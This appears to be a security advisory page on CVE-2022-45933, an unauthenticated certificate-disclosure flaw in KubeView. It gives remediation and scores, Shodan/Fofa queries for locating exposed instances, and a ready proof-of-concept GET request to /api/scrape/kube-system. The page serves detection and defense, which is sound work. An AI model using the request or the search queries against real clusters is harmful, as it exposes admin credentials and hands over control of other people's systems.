🔙 목록으로 돌아가기

CVE-2022-45933: KubeView <=0.1.31 - Information Disclosure

TitleKubeView <=0.1.31 - Information Disclosure
AuthorFor3stCo1d
SeverityCritical
ImpactUnauthenticated attackers can access Kubernetes certificate files through the unauthenticated api/scrape/kube-system endpoint, potentially obtaining kube-admin credentials and gaining complete control over the Kubernetes cluster.
RemediationUpgrade KubeView to a version higher than 0.1.31 to mitigate the information disclosure vulnerability (CVE-2022-45933).
CVSS Score9.8
EPSS Score0.93266
CVE IDCVE-2022-45933
CWE IDCWE-306
Shodan Queryhttp.title:"KubeView"http.title:"kubeview"http.favicon.hash:-379154636
Fofa Queryicon_hash=-379154636title="kubeview"
Tags cve cve2022 kubeview kubernetes exposure kubeview_project vkev vuln

🔍 Vulnerability Description

KubeView through 0.1.31 is susceptible to information disclosure. An attacker can obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication and retrieves certificate files that can be used for authentication as kube-admin. An attacker can thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /api/scrape/kube-system HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45933.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-45933.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A